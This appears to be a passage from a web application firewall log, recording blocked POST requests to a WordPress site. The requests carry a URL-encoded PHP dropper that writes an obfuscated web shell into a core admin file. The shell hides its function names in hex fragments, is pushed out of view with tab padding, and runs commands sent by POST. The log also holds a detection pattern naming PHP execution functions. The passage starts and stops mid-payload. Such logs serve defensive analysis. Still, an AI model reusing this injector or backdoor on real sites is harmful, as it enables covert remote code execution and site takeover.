20%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:9363\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nkS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:44","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:9363\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nyj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr